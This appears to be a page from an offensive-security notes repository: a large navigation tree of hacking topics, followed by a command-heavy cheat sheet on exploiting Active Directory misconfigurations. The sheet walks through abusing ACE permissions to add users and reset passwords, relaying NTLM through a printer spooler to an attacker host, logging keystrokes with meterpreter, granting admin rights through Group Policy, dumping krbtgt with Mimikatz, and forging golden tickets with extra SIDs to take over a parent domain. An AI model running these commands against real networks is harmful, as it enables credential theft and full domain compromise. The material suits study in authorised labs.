Crypto

Openssl

- openssl
- openssl_engine

- rsa

Enumeration

Containers

Docs

- aws
- cewl
- dns
- docker_enumeration
- ffuf
- gobuster
- kerberoast
- kubectl
- ldap
- linux_basics
- microk8s
- nfs
- nikto
- nmap
- port_knocking
- rpcclient
- rsync
- rustscan
- shodan
Snmp

- onesixtyone
- snmpcheck

- websites
- wfuzz
- wpscan

Network_scanners

Windows

- bloodhound
- event_log
- manual_enum
- powershell
- rpcclient
- sysinternals
- sysmon
- vss

Exfiltration

Dns

- dns

Linux

- nc
- wget

Windows

- evil-winrm
- loot
- smb_connection

Exploit

CPUs

- meltdown

Binaries

- aslr
Buffer_overflow

Docs

- amd64
- amd64_instructions
- buffer_overflow
- cut_stack_in_half
- pwntools_specifics
- ret_address_reuse

- ropping

Canary_bypass

- canary_bypass

Format_string

- format_string

Integral_promotion

- integral_promotion

- plt_got
- r2
- ret2libc

Dns

- zone_transfer

Hashes

- collision

Imagemagick

- imagetragick

Java

OGNL

- cve_2022_26134

- ghidra_debug
- ghostcat
- log4shell
- spring4shell

Level3_hypervisor

Docker_sec

- docker

- kubernetes
- lxc
- microk8s

Linux

- capabilities
Dirty_pipe

- dirty_pipe

- exiftool
- groups
- ld_preload
- nfs_rootsquash
- overlayfs
Pkexec

- CVE_2021_4034

- polkit
- racing_conditions
- setcap
- shared_object_injection
- shell_shock
Sudo

- CVE_2019_14287
- CVE_2019_18634
- baron_samedit
- tokens

- wildard_exploitation

MacOS

Network

- mac_spoofing

Padding

- padbuster

Python

- code_injection
- jail_escape
- lib_hijack
- pickle
- pwntools
- pyc
- scapy

Samba

- smbmap

Sqli

- mssql
- no_sqli
- sqli
- sqlmap

Ssl_tls

- heartbleed

Web

Bypass_rate_limiting

- bypass_rate_limiting

- command_injection
Content_security_policy

- content_security_policy

- cookie_tampering
- csrf
Forced_browsing

- forced_browsing

- http_header_injection
Idor

- idor

Javascript

- bypass_filters
- prototype_pollution

Jwt

- jwt

- local_file_inclusion
- methodology
Nodejs

- deserialization

Php

- command_injection
- password_reset
- php_base64_filter
- php_image_exif
- php_user_agent_rce
- preload_lib
- unserialize

- re_registration
- remote_file_inclusion
Ssrf

- iframe
- ssrf

Ssti

- ssti

- url_forgery
- wordpress
- xpath
- xss
Xxe

- wp_xxe_
- xml_external_entity

Windows

Dll_hijacking

- dll_hijacking

Docs

- always_installed_elevated
- crackmapexec
- dpapi
- impacket
- llmnr
- lnk_exploit
- pass_the_hash
- password_in_registry
- potatoes
- printnightmare
- responder
- unquoted_path

Macros

- macros

Payloads

- windows_scripting_host

Print_nightmare

CVE-2021-1675

Nightmare-dll

- print_nightmare

Process_injection

- dll_injection
- process_hollowing
- shellcode_injection
- thread_hijacking

Service_escalation

- service_escalation

Zero_logon

- zero_logon

Yaml

- deserialization

Forensics

- ios
- kape
- ntfs
- oletools
- volatility
- windows_registry

Hashes

Bruteforce

- generate_wordlists
- haiti
- hashcat_utils
Password_cracking

- hydra
- john
- smb_challenge
- sucrack
- vnc

Password_guessing

- standard_passwords

Misc

Active_directory

- AD_CS
- active_directory
- ad_enumeration
- ad_misconfiguration
- ad_persistence
- gaining_foothold_AD
- lateral_movement

- bash
- clamav
- gitTools
- hadoop
- metasploit
Printer_hacking

- preta

- responder
- sandbox_evasion
- smtp
- snort
Telecommunications

_sipvicious

.github

ISSUE_TEMPLATE

- bug-report
- custom

Sipvicious

- sip_vicious

Threat_intelligence

- isac
- loki
- osquery
- pithus
- siem
- splunk
- yara

Wifi

- airmon-ng

Osint

- recon_ng
Social_engineering

- gophish
- phishing_domain

- spiderfoot
- theharvester

Persistence

- bashrc
- crontab
- meterpreter
- persistence
- wmi

Post exploitation

Seatbelt

.github

ISSUE_TEMPLATE

- bug_report
- feature_request

- CHANGELOG
Seatbelt

Commands

Windows

EventLogs

Output

Bc_security

Docs

- c2
- crackmapexec
- empire
- ids_ips_evation
- linux
- metasploit
- mimikatz
- mitm
- nfs_root_squash
- powershell
- secretsdump
Windows

- antivirus_evasion
- applocker
- evade_event_tracing
- living_off_the_land
- pass_the_hash
- powershell_logs
- registry
- sebackupprivilege
- user_account_control

- pivoting
Priv_esc

Docs

- linux_priv_esc
- pspy
Windows

- add_user
- windows_priv_esc

Kernel-exploits

Privesc-scripts

Docs

- get_script_onto_target

Suid

Reverse engineering

Android

- misc

Docs

- deobfuscation
- dll_reversing
- firmware
- function_mangling
- scada

Java

- krakatau

Reverse shells

Docs

- evil-winrm
- msfconsole
- msfvenom
- netcat
- powershell
- shell_upgrade
- socat
- webshell

- firewalls
Windows

Stego

Docs

- outguess
- remnux
- stegbrute
- steghide
- stegoveritas
- zsteg

- Active Directory Misconfigurations
  - Permission Delegation
    - The following ACEs are critical and prone to be exploited
    - Tools to exploit ACEs
    - Usage
  - Kerberos Delegation
    - Delegatable Services
    - Usage
  - Automated Relays
    - Machine Accounts
    - Printers
  - Active Directory Users
    - Credentials
    - Keylogging
  - Group Policy Objects
    - Usage
  - Certificates
  - Domain Trusts
    - Usage

# Active Directory Misconfigurations

## Permission Delegation

- Permissions to functions may be delegated as a standard functions itself
- Privilege creep becomes a problem eventually
- Discretionary ACLs are controlled by Access Control Entries (ACEs)

### The following ACEs are critical and prone to be exploited

- GenericAll, complete control and creation of an object
- ForceChangePassword, change the password of a user and sometimes administrator passwords
- AddMembers, add a user to an existing group
- GenericWrite, update any non-protected parameters of the target, e.g. paths to scripts.
- WriteOwner, change owner of a target object.
- WriteDACL, create new ACEs to an object's DACL
- AllExtendendRights all control over an object's permission

### Tools to exploit ACEs

- AD-RSAT

- Powersploit

- BloodHound, check permissions to target

### Usage

- Add user to a group via powershell

    Add-GroupMember "<GroupName>" -Members "<username>"

- List info about groups, preferably administration groups

    Get-ADGroupMember -Identity "<GroupName>"

- Set new password for user, afterwards reconnect session

    $Password = ConvertTo-SecureString "password123#" -AsPlainText -Force
    Set-ADAccountPassword -Identity "<username>" -Reset -NewPassword $Password

## Kerberos Delegation

- Unconstrained (without limit) delegation, exploit
- Constrained delegation
- Resource based constrained delegation (RBCD), service owner specifies which resources can bind. Set by msDS-AllowedToActOnBehalfOfOtherIdentity

### Delegatable Services

- HTTP
- CIFS
- LDAP
- HOST
- MSSQL

### Usage

- Enumerate via powerview

    Import-Module .\PowerView.ps1
    Get-NetUser -TrustedToAuth

## Automated Relays

### Machine Accounts

- Administrative machine account of one host having administrative permissions over another host

### Printers

- Target has to have an SMB server
- Spooler, PetitPotam, PrintNightmare are printer exploits
- Query printer services through a servers domain

    GWMI Win32_Printer -Computer <domain>
    Get-PrinterPort -ComputerName <domain>

- SMB signing may be enabled but must not be enforced in order for the exploit to work, check via

    nmap --script smb2-securitymode -p 445 printer.example.com plotter.example.com

- Start SMB relay on attacker, use IP instead of domain to trigger NTLM auth

    ntlmrelayx.py -smb2support -t smb://"$TARGET_IP" -debug

- Authenticate on attacker with the credentials already gained from a windows computer

    SpoolSample.exe <domain> "$ATTACKER_IP"

- Authenticate with the received credential

    ntlmrelayx.py -smb2support -t smb://"$TARGET_IP" -debug -c 'whoami /all' -debug

## Active Directory Users

### Credentials

### Keylogging

- With a meterpreter shell migrate to an active user's process and set a keylogger

    migrate <processID>
    keyscan_start

- To inspect the results

    keyscan_dump

## Group Policy Objects

- Every `GPO` has a `GUID`
- Local Policies are configured for application rules for FW, Windows-Defender, Applocker
  - Other local policies are group memberships, startup config, protocols
  - Group policies change configuration of these remotely over AD
- `GPOs` are stored on the `SYSVOL` to be distributed to any machine in the domain

### Usage

- Target is to add the user to either an RDP or SSH group and to connect via this group afterwards
- Start a `cmd` with a AD user and execute `mmc` through it

    runas /netonly /user:<domain>\<username> cmd.exe
    mmc

- Check connection of the `cmd.exe` via

    dir \\<domain>\sysvol

- Click `File` -> Add/Remove Snap-in -> `Group Policy Management` -> `OK`
- On the left tree do `Group Policy Management` -> `Forest bla` -> `Domains` -> `<domain>` -> `Server` -> `Management Servers` and right click to edit the group
- On the left tree `Computer Configuration` -> `Policies` -> `Windows Settings` -> `Security Settings` -> right click `Restricted Groups` -> `Add Group` -> name like `IT Support` -> edit the group and Add `Administrators` and `Remote Desktop Users` groups

## Certificates

- AD Certificate Services

## Domain Trusts

- Domain Trusts offer access to resources to users in the domain

  - Directional, from trusted domain to another truster domain
  - Transitive, beyond more than just one other domain

- Pwn parent child relationship between directional domain trusts via krbtgt and a golden ticket

- `krbtgt` as an account signs and encrypts TGTs
- Crafting a golden ticket by becoming a TGS. Following info is needed
  - FQDN
  - Security identifier of the domain (SI)
  - Target's username
  - KRBTGT password hash store on the DC

### Usage

- `KRBTGT` via Mimikatz, resulting in `Hash NTLM`

    privilege::debug
    lsadump::dsync /user:<username\kbtgt>

- Craft the ticket with the help of this hash

- Alternatively, InterRealm TGTs are used to get resources between domains in order to pwn the parent by adding the Enterprise Admin group as an extraSID,commonly this is `S-1-5-21-<RootDomain>-519`

- SID of Child DC is needed, as well as the SID of the Enterprise Admin in the parent domain
- Get child SIDs via

    Get-ADComputer -Identity "<DCChildCN>"

- Get parent SID via

    Get-ADGroup -Identity "Enterprise Admins" -Server <domain>

- Include additional SIDs from other domains into `KERB_VALIDATION_INFO` via Mimikatz

    privilege::debug
    kerberos golden /user:Administrator /domain:<child.domain> /sid:<ChildSID> /service:kbtgt /rc4:<NTLMHash of krbtgt> /sids:<Enterprise Admin group SID> /ptt
    exit
    dir \\DCdomain\dir$
    dir \\Parentdomain\dir$